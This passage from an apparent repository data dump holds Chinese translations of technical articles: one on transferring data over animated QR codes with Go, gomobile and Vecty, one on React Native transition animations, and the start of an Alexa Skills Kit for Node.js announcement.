框架构建。\n\n![在两个手机之间通过二维码传输文件](https://divan.dev/images/txqr_send.gif#center)\n\n我将会分享构建这个项目的经验，以及使用动态二维码作为数据传输方式的代码和基准测试的结果。\n\n![测试结果](https://divan.dev/images/results_3d.png)\n\n## 疑难问题\n\n曾经有一天，我试着想找到如下这个场景下可行的解决方案：\n\n假设你正在一个人流拥挤的地方，忽然间收发消息的应用停止工作了，因为独裁政府阻止了通讯。也许他们只是封禁了收发消息使用节点的 IP 地址，或者通过国有 DNS 提供器限制了一些主机的访问权，又或者是切断了其他的 VPN 和代理服务 —— 在这里何种方式其实并不重要。问题是 —— 如果至少有一台设备还能成功连网，如何能恢复其他人的网络连接，并能和他人分享连网信息呢。\n\n这部分如果展开来说，篇幅就会很长了，但是这其中最重要的、必须明白的概念就是 —— [渗流阈值](https://en.wikipedia.org/wiki/Percolation_threshold)。简单的说就是，如果你用概率 p 将格子或图（或者人群中的人）中的节点连接起来，那么在某个临界概率 **p**0 处，将会出现较大的集群和远距离链接。用更简单的话说，如果人群中的每个人都和他们周围 **n** 个人共享信息，那么你可以运用数学的准确性保证，每个人都会得到这些信息。\n\n而在例如启动节点 IP 的情境下，这就意味着，每个人的应用的连接都将会恢复。\n\n好了，现在回到我们的问题 —— 当你处于一个对抗性的环境中，并且被切断了部分网络，如何能快速的将任意的信息碎片从一个应用发送到另一个呢？最先想到的是使用蓝牙，但是这需要一个冗长枯燥的发现设备和识别设备名的过程，并且在很多时候，蓝牙就是会出现“不知为什么而无法连接”的问题。另外，NFC 也是个不错的主意 —— 可以直接将一个手机连接到另一个手机 —— 但是主要的缺点是，还有很多手机和平板设备并不支持 NFC 或者是对 NFC 的支持还有限。那么，二维码如何呢？\n\n## 二维码\n\n[二维码](https://en.wikipedia.org/wiki/QR_code)是一种非常受欢迎的视觉编码，在多种行业都广泛应用。它支持多种不同的错误恢复级别，最高可有将近 30% 的冗余信息。容量最高的版本（版本 40）允许编码最多 4296 个字母或者 2953 个二进制符号。\n\n但是有两个很明显的问题：\n\n* 3-4KB 的传输速度恐怕是不够的\n* 二维码中包含的数据越多，图像的质量和解析精度就要越高\n\n在本例中，我想要能够在性能中等的用户设备之间传输大约 15KB 的数据，所以很自然的想到，为什么不用具有动态 FPS 和大小会变动的动态二维码呢？\n\n我快速调研了一些前人做的工作，发现有[一些](https://github.com/leonjza/qrxfer) [类似的](https://volumeintegration.com/jumping-the-gap-data-transmission-over-an-air-gap/) [项目](http://stephendnicholas.com/posts/quicker-video-qr-codes)，大部分是作为黑客项目，或者甚至是作为[学位论文](http://www.theseus.fi/bitstream/handle/10024/96359/Grasbeck_Max.pdf?sequence=1&isAllowed=y)，并且使用了 Java、Python 或者 JavaScript 作为编程语言。这就意味着，这些代码并不能跨平台，也不能真正的被复用，所以我的项目必须要从零开始实现。幸运的是，由于二维码非常流行，很多人都在使用，所以并不缺少于此相关的代码库，同时，二维码的解析甚至已经嵌入在大多数智能手机制造商的相机软件中。（这实际上也正是人们不去研发其他方法来增加二维码功能的原因，比如说彩色二维码，在彩色二维码中，颜色编码附加层，或者甚至是亮度编码这种更酷的东西，像苹果用于他们的[Apple Watch 配对过程中的粒子云](https://www.youtube.com/watch?v=-WK4jiwlE5k)那样）。\n\n## TXQR\n\n我的周末项目就是这样开始的。TxQR 这个单词的意思就是通过二维码传输（Tx）。\n\n如下就是本项目主要的设计思路。客户端需要选择一个准备发送的数据，生成动态二维码然后循环展示它们，直到读取设备收到了所有帧。编码被设计成如下方式，它可以支持任意的帧的次序，也支持 FPS 或者编码数据块大小的动态变化。这是为了读取设备读取的很慢而设计的，并且它还可以展示信息“请降低发送设备的 FPS”，然后继续接收同一个文件，甚至连帧体积也会改变。\n\nTXQR 协议非常简单 —— 每一帧都以 “NUM/TOTAL|” 开始，（NUM 和 TOTAL 都是整数，分别表示当前正在收发的帧以及帧总数）其余的就是文件内容。为了生成二进制的内容，原始数据使用 Base64 编码，所以实际上只有字母和数字被编码到了二维码里。然后所有帧就以给定的 FPS 无限循环展示。\n\n![TXQR 协议](https://divan.dev/images/txqr_protocol.png)\n\n它非常简单，[这里](https://github.com/divan/txqr)有一个本协议的 Go 语言的实现，并且为了编解码二维码，已经做了简便的封装。它最酷的部分是让移动端应用也可以使用这个代码。\n\n**更新：txqr 现在使用更加有效的方法即[喷泉码](https://en.wikipedia.org/wiki/Fountain_code)。[后续的文章](https://divan.dev/posts/fountaincodes/)里有详细讲解和测试结果比较，有兴趣可以查看。**\n\n### Gomobile\n\n多亏了有 [gomobile](https://github.com/golang/mobile)，这个项目就变得非常简单了。\n\n文件中有你刚写好的标准 Go 语言代码，然后运行 `gomobile bind ...`，几秒钟以后就可以将 `.framework` 或者 `.aar` 文件加入到你的 iOS 或者 Android 项目中去了，你可以像其他常规库那样引用它，并且可以自动获取名称补全以及类型信息。\n\n我迅速的用 Swift 搭建了一个简单的 iOS 二维码扫描器（多亏了 Simon Ng 的[精彩介绍](https://medium.com/appcoda-tutorials/how-to-build-qr-code-scanner-app-in-swift-b5532406dd6b)），然后将其调整为可以读取动态二维码，它将需要解码的数据块提供给 txqr 解码器，然后在一个预览窗口展示接收到的文件。\n\n每当我被“如何在 Swift 中做某某事”这样的问题困扰的时候，使用 Go 语言来解决通常要简单的多，然后只需要像上文描述的那样，直接调用库中的方法即可。但是请大家不要误会，Swift 在很多方面的表现都很出色，是很优秀的编程语言，但是它会对一件事情提供很多的解决方案，再加上有很多变动巨大的历史版本，导致你总是需要花很长时间在 Google 或者 stackoverflow 上搜索一些像“如何计算毫秒精度的时间”这样简单的问题。在浪费了 40 分钟以后，我决定使用 Go 语言，只需要调用函数 `time.Since(start)`，然后将代码转换并在 Swift 里面直接使用。\n\n我也写了一个命令行工具，它可以在控制台展示二维码，用于对应用进行快速测试。综合所有这些，这个方案得工作状态格外优秀 —— 我可以在大约十秒钟内发送体积较小的图片，但是我开始测试大一些的文件并且尝试不同的 FPS 的时候，我意识到终端应用的二维码的帧率不足以测试更高的传输速度，如果手动进行高帧率测试可能会让应用卡死。\n\n## TXQR 测试\n\n![TXQR 测试](https://divan.dev/images/txqr_tester.jpg)\n\n如果我希望找到最优 FPS、二维码帧体积以及二维码恢复级别的组合，我需要进行至少 1000 次的测试，手动调整参数并在表单记录结果，并且还要一直举着手机对准屏幕。太麻烦了，没门儿。很明显，我应该将这个步骤自动化。\n\n所以我需要一个 txqr 测试应用。首先，我决定使用 Go 语言实现的桌面应用 UI 框架 [x/exp/shiny](x/exp/shiny)，但是它似乎还是个试验性的框架，所以我就放弃了它。真是很遗憾，因为一年前我尝试过使用 `shiny`，那时候它在简单的桌面应用上很有发展前途。但是我现在再尝试用它的时候，它甚至已经无法编译了。似乎是开发桌面 UI 框架没什么动力了 —— 因为现在大多数的应用都是在 web 端。\n\n但是 web 编程依旧在发展的初期阶段 —— 浏览器才刚刚可以通过 WASM 而支持其他编程语言，但也仅仅是起步。当然，你可以用 JavaScript，但是作为朋友我还是不建议你使用 JavaScript 来写 web 应用，所以我决定使用我最近发现的一个项目 —— [Vecty](https://github.com/gopherjs/vecty) 框架，这样你就可以用 Go 语言写前端代码然后通过一个非常成熟的项目 [GopherJS](https://github.com/gopherjs/gopherjs) 自动编译成 JS。\n\n### Vecty 和 GopherJS\n\n![Vecty](https://raw.githubusercontent.com/vecty/vecty-logo/master/horizontal_color.png)\n\n老实说，我以前从没有这么愉快的写过前端代码。\n\n关于我近期使用 Vecty 的经历，我将会写更多的博客来介绍，包括开发 WebGL 应用等等，但是重要的是 —— 在使用 React、Angulars 和 Ember 写了几个项目后，能用一个设计精良的语言来实现这个项目实在是拨云见日般的感觉！我现在可以不用写一行 JavaScript 代码就完成一个不错的 web 应用，并且在大多数情况下，“它真的可以运行”！\n\n开个玩笑啦，下面就是如今用 Go 写 web 应用的方法：\n\n```\npackage main\n\nimport (\n    \"github.com/gopherjs/vecty\"\n)\n\nfunc main() {\n    app := NewApp()\n\n    vecty.SetTitle(\"My App\")\n    vecty.AddStylesheet(/* ... add your css... */)\n    vecty.RenderBody(app)\n}\n```\n\n一个应用就是一个类型 —— 一个嵌入了 `vecty.Core` 类型的结构体 —— 并且需要实现接口 `vecty.Component`。这就行了！初始化 DOM 对象一开始看上去有些冗长，但是当你开始重构代码的时候，你就会清楚的意识到它实际上是如此厉害了：\n\n```\n// App 是一个顶层的应用组建\ntype App struct {\n    vecty.Core\n\n    session      *Session\n    settings     *Settings\n    // any other stuff you need,\n    // it's just a struct\n}\n\n// Render 实现了接口 vecty.Component\nfunc (a *App) Render() vecty.ComponentOrHTML {\n    return elem.Body(\n        a.header(),\n        elem.Div(\n            vecty.Markup(\n                vecty.Class(\"columns\"),\n            ),\n            // 左半边\n            elem.Div(\n                vecty.Markup(\n                    vecty.Class(\"column\", \"is-half\"),\n                ),\n                elem.Div(a.QR()), // 二维码显示区域\n            ),\n            // 右半边\n            elem.Div(\n                vecty.Markup(\n                    vecty.Class(\"column\", \"is-half\"),\n                ),\n                vecty.If(!a.session.Started(), elem.Div(\n                    a.settings,\n                )),\n                vecty.If(a.session.Started(), elem.Div(\n                    a.resultsTable,\n                )),\n            ),\n        ),\n        vecty.Markup(\n            event.KeyDown(a.KeyListener),\n        ),\n    )\n}\n```\n\n你也许在审视这段代码并且觉得它非常冗长，我承认确实是，但是写代码的过程却是很愉悦！不需要 html 的开始/结束标签，就是非常简单的复制粘贴操作（如果你想要移动一些 DOM 节点），代码结构非常分明，可读性也比较高，同时都是强类型的！我向你保证，当你开始写自己的组件的时候，你就会觉得它的冗长是非常有用的了。\n\n人们都认为 Vecty 是一个和 React 类似的项目，但是这种说法并不准确。确实有 GopherjS 与 React 的绑定 —— [myitcv.io/react](https://github.com/myitcv/x/blob/master/react/_doc/README.md)，但是我不认为我们需要仿照和 React 相同的做法。当你使用 Vecty 写前端的时候，你会意识到事情其实非常简单。你并不需要大多数 JavaScript 框架创造出来的隐藏的高级用法和新特性 —— 这些只是个别的比较复杂内容。你只需要类型、函数和方法，将它们组合好，然后适时调用，就可以了。\n\n关于 CSS，我使用了超好用的 CSS 框架 [Bulma](https://bulma.io) —— 它提供了一些逻辑清晰并且有意义的命名，让编译结果的 UI 代码非常易读。\n\n然而最神奇的部分是编译阶段。你只需要运行 `gopherjs build`，然后只需要不到一秒钟，你就得到了编译好的 JS 代码，可以作为页面引用或者服务器的服务了。当我第一次运行它的时候，我本来以为会有一堆的错误、警告或者不可读信息，但是并没有 —— 它速度非常块，默默完成了所有任务，仅在一行中显示了一些编译错误。顺便说一下，在浏览器端，如果有错误抛出，你可以看到链接到 Go 文件的栈追踪（而不是编译好的 JS 文件），并且还能看到代码所处的行数。是不是超酷的？\n\n### 测试 TXQR 编码参数\n\n就这样，几个小时后，我完成了能让我配置测试参数范围的 web 应用：\n\n* FPS（每秒帧数）\n* 二维码帧体积（每个二维码帧中可以承载多少比特）\n* 二维码恢复界别（低，中，高或者最高）\n\n然后就可以初始化移动端应用的测试程序了。\n\n![TXQR 测试应用](https://divan.dev/images/txqr_app.png)\n\n当然，移动端应用也需要自动化 —— 应用需要能识别下一轮测试什么时候开始，并需要处理超时（有时候手机摄像头无法获取到所有帧，也就无法得到结果），还要将结果发送给应用，等等。\n\n一个比较麻烦的部分是，web 应用无法创建监听 socket —— 它运行在浏览器中，对于这样一个简单的通信测试协议，除了使用 WebRTC 之外（我觉得并没有 必要），你只能作为客户端使用而不能创建。\n\n解决方案其实很简单 —— 小型的 Go 应用可以作为 web 应用的 HTTP 静态服务（并可以自动提供浏览器功能），并且还可以包含预计只有两个连接的 WebSocket 代理 —— 来自于 UI（或者说 web 应用）的连接以及来自于移动端的连接 —— 这是一个透明的代理，从两个客户端的角度来看，可以认为它们在直接传递信息。当然，它们必须要在一个 WiFi 网络中。\n\n另外还需要想办法将 WebSocket 地址传递给移动端应用，你猜怎么着 —— 你可以使用二维码完成这个任务 :) 综上，工作流如下： \n\n* 移动端应用寻找二维码中的 “start” 标记\n* 从标记开始，提取出 “ws://” URL 然后连接到该地址的服务\n* UI 应用马上识别出这个连接，并开始生成下一轮二维码测试\n* 展示出新的带有 “readyToStart?” 标记的二维码\n* 移动端读取二维码然后通过 WebSocket 发送确认信息\n\n![TXQR 测试设计](https://divan.dev/images/txqr_tester_design.png)\n\n这样，最后，我只需要把移动电话放到架子上，让它通过扫描二维码发送信息并通过 WebSocket 发送信息和应用相互交流即可。\n\n![TXQR 测试范例](https://divan.dev/images/txqr_tester.gif#center)\n\n终端 UI 支持下载 CSV 文件，基于这个文件，可以使用 R 或者其他统计工具和语言对其进行分析。\n\n# 基准测试\n\n完整的测试循环运行了大约 4 个小时（最花费时间的部分 —— 生成动态二维码是在浏览器运行的，依旧是使用的 JS，它只用了一个 CPU 内核），我还需要确保屏幕不会关闭，或者其他应用的窗口没有覆盖掉测试应用。我采用如下参数配置了测试：\n\n* **FPS** —— 3 到 12\n* **二维码帧体积** —— 100 到 1000（步长 30）\n* **二维码恢复级别** —— 所有级别，共 4 个\n* **数据体积** —— 13KB（数据是随机生成的二进制字节）\n\n几个小时后，我下载了 CSV 文件并做了快速分析和可视化。\n\n# 结果\n\n一张图像的信息量等同于千言万语，而三维可交互的小部件能提供的信息则相当于上千图像。如下是测试获取结果的 3D 散点图：\n\n[![qr_scan_results](https://plot.ly/~divan0/1.png?share_key=t8DizOL9dynI6NTcLA88Xi)](https://plot.ly/~divan0/1/?share_key=t8DizOL9dynI6NTcLA88Xi \"qr_scan_results\") \n\n最佳结果是 1.4 秒，速度几乎到达 9KB/s！这个结果的速率是 11 帧每秒，数据块体积是 850 字节，采用中等恢复级别。事实上，在这个编码率和 fps 上，手机摄像机丢失帧的可能非常高，所以很多时候应用只是在不断循环，等待丢失的帧，直到测试循环的时间耗尽。\n\n下面是数据块体积和 fps 变化时的条形图（注意，这里过期时间是 30s）：\n\n#### 时间与数据块体积：\n\n[![Time vs Size](https://divan.dev/images/qr_size.png)](https://plot.ly/~divan0/3/)\n\n如上图所示，较小的数据块体积会导致二维码编码开销过大，并导致整体时间飙升。比较明智的取值是每个数据块 550 以及 900 字节，但是更高或者更低的字节都会由于丢失帧而导致超时。到了 1000 字节的大小，我们几乎可以肯定会丢失帧，并导致超时。\n\n#### 时间与 FPS：\n\n[![Time vs FPS](https://divan.dev/images/qr_fps.png)](https://plot.ly/~divan0/2/)\n\n很令我吃惊，FPS 参数对结果并没有很大的影响。最佳取值似乎是 6-7 FPS，大约等于帧间隔 150ms。更低的 fps 会导致等待时间增加，而更高的 FPS 则导致帧丢失。\n\n#### Time 与二维码恢复级别\n\n[![Time vs Lvl](https://divan.dev/images/qr_lvl.png)](https://plot.ly/~divan0/6/)\n\n二维码恢复级别参数和传输时间以及冗余级别都有很强的关联性，很明显，更好的选择是比较低的恢复级别（7% 的冗余），毫无疑问 —— 较少的冗余数据更容易读取，二维码体积也更小，也就更容易扫描和识别。对于数据传输，我们也许并不需要很多冗余。所以比较好的取值可以是中等或者低级就可以了。\n\n为了获取更丰富的结论，这些测试循环也许应该在不同屏幕和设备上运行上百次。但是对于我这个周末的研发，已经足够了。\n\n# 结论\n\n这个有趣的项目向我证明了，不需要任何网络连接，仅使用动态二维码的情况下，单向的数据传输是绝对可能的。并且最大的数据传输速率约为 9KB/s，绝大多数情况下的平均速率是 —— 1-2KB/s。\n\n同时，使用 Gomobile 和 Gopherjs（同时配合 Vecty） 也让我有了一段非常棒非常高效的研发体验 —— 它们几乎成为了我的日常开发工具。它们是成熟的框架，运行迅速并且能给你“它真的可以运行”的惊喜体验。\n\n最后，但是也同等重要的是，使用 Go 语言你可以大大提高效率，这一直都让我感到非常神奇，一旦你知道你需要构建什么 —— 附加简短的编辑运行循环时间却可以促进测试，简单的代码并且不存在让人发狂的类继承，这让重构成为简单流畅的工作，跨平台的设计思路让你能在服务端、web 应用和移动端应用同时复用相同的代码。同时还有大量可以优化和加速的空间，我只是用最直接的方式完成了工作。\n\n如果你还从没尝试过 gomobile 或者 gopherjs —— 我建议你有机会尝试一下。它会需要你大概一个小时的时间来学习，但是能为你开启一扇能使用 Go 开发 web 或者移动端的世界的大门。去试试看吧！\n\n## 参考链接\n\n* [https://github.com/divan/txqr](https://github.com/divan/txqr)\n* [https://github.com/divan/txqr/tree/master/cmd/txqr-tester](https://github.com/divan/txqr/tree/master/cmd/txqr-tester)\n* [https://github.com/divan/txqr-tester-ios](https://github.com/divan/txqr-tester-ios)\n* [https://github.com/divan/txqr-reader](https://github.com/divan/txqr-reader)\n* [https://github.com/gopherjs/vecty](https://github.com/gopherjs/vecty)\n* [https://github.com/golang/mobile](https://github.com/golang/mobile)\n\n## 更新\n\n**更新：txqr 现在使用更加有效的方法即[喷泉码](https://en.wikipedia.org/wiki/Fountain_code)。[后续的文章](https://divan.dev/posts/fountaincodes/)里有详细讲解和测试结果比较，有兴趣可以查看。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/animated-transition-in-react-native.md",
    "content": "> * 原文地址：[Animated Transition in React Native!](https://medium.com/react-native-motion/transition-challenge-9bc9fdef56c7)\n> * 原文作者：[Jiří Otáhal](https://medium.com/@xotahal?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/animated-transition-in-react-native.md](https://github.com/xitu/gold-miner/blob/master/TODO1/animated-transition-in-react-native.md)\n> * 译者：[talisk](https://github.com/talisk)\n> * 校对者：[foxxnuaa](https://github.com/foxxnuaa)\n\n# React Native 中使用转场动画！\n\n> 这篇文章有近 15k 的浏览量。对某些人来说，这可能没什么，但对我来说是一个很大的动力。这正是我决定构建 [Pineapple — Financial Manager](https://pineapplee.io/) 的原因。仅仅 20 天，我已经完成了 [iOS 版](https://itunes.apple.com/us/app/pineapple-financial-manager/id1369607032?ls=1&mt=8)，[Android 版](https://play.google.com/store/apps/details?id=com.pineapple.android)以及[网页版](https://pineapplee.io/)，花费 300 美金，并写了[几篇关于它的文章](https://medium.com/how-i-built-profitable-application-faster-than)。我无法用言语表达我多么享受这段时间。你也应该试试！\n\n最近我试图为下一个动画挑战寻找灵感。我们开始吧 —— [由 Ivan Parfenov 创建](https://medium.muz.li/ui-interactions-of-the-week-116-40eba84eb736)。我很好奇我是否能够用 React Native 来做这个过渡效果。[**你可以在我的 expo 帐户中查看结果**](https://expo.io/@xotahal/react-native-motion-example)！为什么我们还需要这样的动画？来读读 Pablo Stanley 写的[绝佳的 UI 动画技巧](https://uxdesign.cc/good-to-great-ui-animation-tips-7850805c12e5)。\n\n![](https://cdn-images-1.medium.com/max/800/1*D35P0J6_34Yrs_n3i1hvjA.gif)\n\n[Ivan Parfenov](https://dribbble.com/parfenoff) 设计的 [PLΛTES](https://dribbble.com/plates)。\n\n我们可以看到有几个动画。工具栏（显示/隐藏），底栏（显示/隐藏），移动所选项目，隐藏所有其他项目，显示详细信息项目甚至更多。\n\n![](https://cdn-images-1.medium.com/max/800/1*HdpUrmxtI0cptj8BpxsaPw.png)\n\n动画时间线。\n\n过渡动画的难点在于同步所有这些动画。因为我们需要等到所有动画都完成，我们无法真正移除列表页面并显示详细信息页面。此外，我对整洁的代码有所追求。代码要易于维护，如果您曾尝试为项目实现动画，则代码通常会变得混乱。到处都是辅助变量，各种计算等。这正是我想介绍 [react-native-motion](https://github.com/xotahal/react-native-motion) 的原因。\n\n![](https://cdn-images-1.medium.com/max/800/1*nfm2A4bKidwuPQ-Oy4vTxQ.gif)\n\n### 对 react-native-motion 的一个小想法\n\n你能看到工具栏标题的动画吗？你只需稍微移动标题并将不透明度设置为 0 或 1。这很简单！但正因为如此，你需要编写这样的代码，甚至在你真正开始为该组件编写 UI 之前。\n\n```\nclass TranslateYAndOpacity extends PureComponent {\n  constructor(props) {\n    // ...\n    this.state = {\n      opacityValue: new Animated.Value(opacityMin),\n      translateYValue: new Animated.Value(translateYMin),\n    };\n    // ...\n  }\n  componentDidMount() {\n    // ...\n    this.show(this.props);\n    // ...\n  }\n  componentWillReceiveProps(nextProps) {\n    if (!this.props.isHidden && nextProps.isHidden) {\n      this.hide(nextProps);\n    }\n    if (this.props.isHidden && !nextProps.isHidden) {\n      this.show(nextProps);\n    }\n  }\n  show(props) {\n    // ...\n    Animated.parallel([\n      Animated.timing(opacityValue, { /* ... */ }),\n      Animated.timing(translateYValue, { /*  ... */ }),\n    ]).start();\n  }\n  hide(props) {\n    // ...\n    Animated.parallel([\n      Animated.timing(opacityValue, { /* ... */ }),\n      Animated.timing(translateYValue, { /*  ... */ }),\n    ]).start();\n  }\n  render() {\n    const { opacityValue, translateYValue } = this.state;\n\n    const animatedStyle = {\n      opacity: opacityValue,\n      transform: [{ translateY: translateYValue }],\n    };\n\n    return (\n      <Animated.View style={animatedStyle}>{this.props.children}</Animated.View>\n    );\n  }\n}\n```\n\n现在让我们来看看如果用 [react-native-motion](https://github.com/xotahal/react-native-motion) 实现这个动画，要怎么做。我知道动画经常是非常具体的。我知道 React Native 提供了非常强大的动画 API。无论如何，拥有一个带有基本动画的库会很棒。\n\n```\nimport { TranslateYAndOpacity } from 'react-native-motion';\n\nclass ToolbarTitle extends PureComponent {\n  render() {\n    return (\n      <TranslateYAndOpacity duration={250}>\n        <View>\n          // ...\n        </View>\n      </TranslateYAndOpacity>\n    );\n  }\n}\n```\n\n### 共享的元素\n\n这一挑战的最大问题是移动选定的列表项。列表页面和详细信息页面之间共享的项目。当元素实际上没有绝对定位时，如何将项目从 FlatList 移动到 Detail 的页面顶部？使用 react-native-motion 非常容易。\n\n```\n// List items page with source of SharedElement\nimport { SharedElement } from 'react-native-motion';\n\nclass ListPage extends Component {\n  render() {\n    return (\n      <SharedElement id=\"source\">\n        <View>{listItemNode}</View>\n      </SharedElement>\n    );\n  }\n}\n```\n\n我们在 ListPage 上指定了 SharedElement 的 source 元素。现在我们需要对 DetailPage 上的目标元素执行几乎相同的操作，来知道我们想要移动共享元素的位置。\n\n```\n// Detail page with a destination shared element\nimport { SharedElement } from 'react-native-motion';\n\nclass DetailPage extends Component {\n  render() {\n    return (\n      <SharedElement sourceId=\"source\">\n        <View>{listItemNode}</View>\n      </SharedElement>\n    );\n  }\n}\n```\n\n### 黑科技在哪里？\n\n我们如何将相对定位的元素从一个页面移动到另一个页面？实际上我们做不到。SharedElement 的工作方式如下：\n\n*   获取源 element 的位置\n*   获取目标 element 的位置（显然，没有这一步，动画不能被初始化）\n*   创建共享的 element（黑科技！）\n*   在屏幕上方渲染一个新图层\n*   渲染 element 元素，将覆盖源 element（在源 element 的位置上）\n*   开始移动到目标 element 位置\n*   一旦移动到目标 element 位置后，删除克隆 element\n\n![](https://cdn-images-1.medium.com/max/800/1*MKDiUHnLdB7WiEPR26IHdw.png)\n\n你可以想象在同一时刻同一个 React Node 有 3 个 element。这是因为在移动动画期间，DetailPage 会覆盖列表页面。这就是为什么我们可以看到所有 3 个元素。但是我们想要创造一种我们实际移动了原始 element 的幻觉。\n\n![](https://cdn-images-1.medium.com/max/1000/1*m11vVsxY3Pa_e5lDMkOT_w.png)\n\nSharedElement 的时间线。\n\n您可以看到 A 点和 B 点。这是移动正在执行的时间段。您还可以看到 SharedElement 触发一些有用的事件。在这种情况下，我们使用 WillStart 和 DidFinish 事件。在启动移动目标 element 时，将源 element 和目标 element 的不透明度设置为 0，并在动画完成后将目标 element 的不透明度设置为 1。\n\n### 你觉得怎么样？\n\n社区这里一直不断在维护和更新：[react-native-motion](https://github.com/xotahal/react-native-motion)。这绝不是这个库的最终和稳定版本。但是一个好的开始 :) 我很想听听你怎么想！\n\n> 我一直在寻找新的挑战和机会。如果您需要帮助，请告诉我，我很乐意讨论它。\n\n> [LinkedIn](https://www.linkedin.com/in/xotahal/) || [Github](https://github.com/xotahal) || [Twitter](https://twitter.com/xotahal) || [Facebook](https://www.facebook.com/jiri.otahal.96) || [500px](https://500px.com/xotahal)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/announcing-the-alexa-skills-kit-for-node-js.md",
    "content": "> * 原文地址：[Announcing the Alexa Skills Kit for Node.js](https://developer.amazon.com/zh/blogs/post/Tx213D2XQIYH864/announcing-the-alexa-skills-kit-for-node-js)\n> * 原文作者：[David Isbitski](https://developer.amazon.com/blogs/alexa/author/David+Isbitski)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/announcing-the-alexa-skills-kit-for-node-js.md](https://github.com/xitu/gold-miner/blob/master/TODO1/announcing-the-alexa-skills-kit-for-node-js.md)\n> * 译者：[Yuhanlolo](https://github.com/Yuhanlolo)\n> * 校对者：[yqian1991](https://github.com/yqian1991), [DateBro](https://github.com/DateBro)\n\n# 基于 Node.js 的 Alexa Skills Kit 发布了！\n\n我们今天很高兴地宣布，一个新的基于 Node.js，旨在帮助开发者们更加简单和快捷地开发 Alexa skill 的 [alexa-sdk](https://github.com/alexa/alexa-skill-sdk-for-nodejs) 发布了。通过 [Alexa Skills Kit](http://developer.amazon.com/ask)、[Node.js](https://nodejs.org/en/)，和 [AWS Lambda](https://aws.amazon.com/lambda/) 开发 Alexa skill 如今已成为最受欢迎的 skill 开发方式。Node.js 事件驱动，非阻塞的特性，使它非常适合开发 Alexa skill，并且 Node.js 也是世界上最大开源系统之一。除此之外，为每个月前一百万个网络请求提供免费服务的亚马逊网络服务系统（AWS）Lambda，能够支持大部分开发者从事 skill 的开发。在使用 AWS Lambda 的同时，你不需要担心管理任何 SSL 证书的问题（因为 Alexa Skills Kit 是被 AWS 信任的触发器）。\n\n在使用 AWS Lambda 创建 Alexa skill 的时候，加入 Node.js 和 Alexa Skills Kit 只是一个简单的流程，但你实际上所需要写的代码要比这复杂得多。我们已经意识到大部分开发 skill 会话（session）的属性、skill 的状态持久化，创建回复以及行为模式上面。因此，Alexa 团队着手于开发一个基于 Node.js 的 Alexa Skills Kit SDK 来帮助你避免这些常见的烦恼，从而专注于你的 skill 自身的逻辑开发而不是样板化编码。 \n\n## 使用基于 Node.js 的 Alexa Skills Kit（alexa-sdk）加速 Alexa Skill 的开发\n\n有了 alexa-sdk，我们的目标是帮助你在能够避免不必要的复杂度的情况下，更快捷地开发 skills。今天我们要发布的这个最新版本的 SDK 具备以下几个特点：  \n\n*   新版SDK是可托管的 NPM 安装包，简化了在任何 Node.js 环境下的开发\n*   可以通过内置事件创建 Alexa 的回复\n*   为新的 session 内置帮助事件（Helper events），并且添加了未处理事件（unhandled events）来捕捉所有异常\n*   提供了能构建基于状态机的用户意图（intent）处理的帮助函数（Helper function）\n*   这让根据当前 skill 的状态定义不同的事件管理器成为现实\n*   属性持久化的配置在 Amazon DynamoDB 的帮助下变得更加简单\n*   所有输出的语音将自动封装在 SSML 下\n*   Lambda 事件和和上下文对象 (context objects) 将通过 this.event 读取，并且可以通过 this.contextAbility 重写内置函数，从而让你的状态管理和回复创建更加灵活。例如，将状态属性储存到 AWS S3 上。\n\n## 安装和调试基于 Node.js 的 Alexa Skills Kit (alexa-sdk)\n\nalexa-sdk 已经上传到了 [github](https://github.com/alexa/alexa-skill-sdk-for-nodejs)，并且可以以 node 包的形式通过下面的指令在你的 Node.js 环境下安装：\n\n```\nnpm install --save alexa-sdk\n```\n\n为了开始使用 alexa-sdk，你需要先导入它的库。你只需要在你的项目里简单地创建一个名为 index.js 的文件然后加入以下代码：  \n\n```\nvar Alexa = require('alexa-sdk');\n\nexports.handler = function(event, context, callback){\n\n    var alexa = Alexa.handler(event, context);\n\n};\n```\n\n这几行代码将会导入 alexa sdk 并且为我们创建一个 alexa 对象以便之后使用。接着，我们需要处理与 skill 交互的️ intent。幸运的是，alexa-sdk 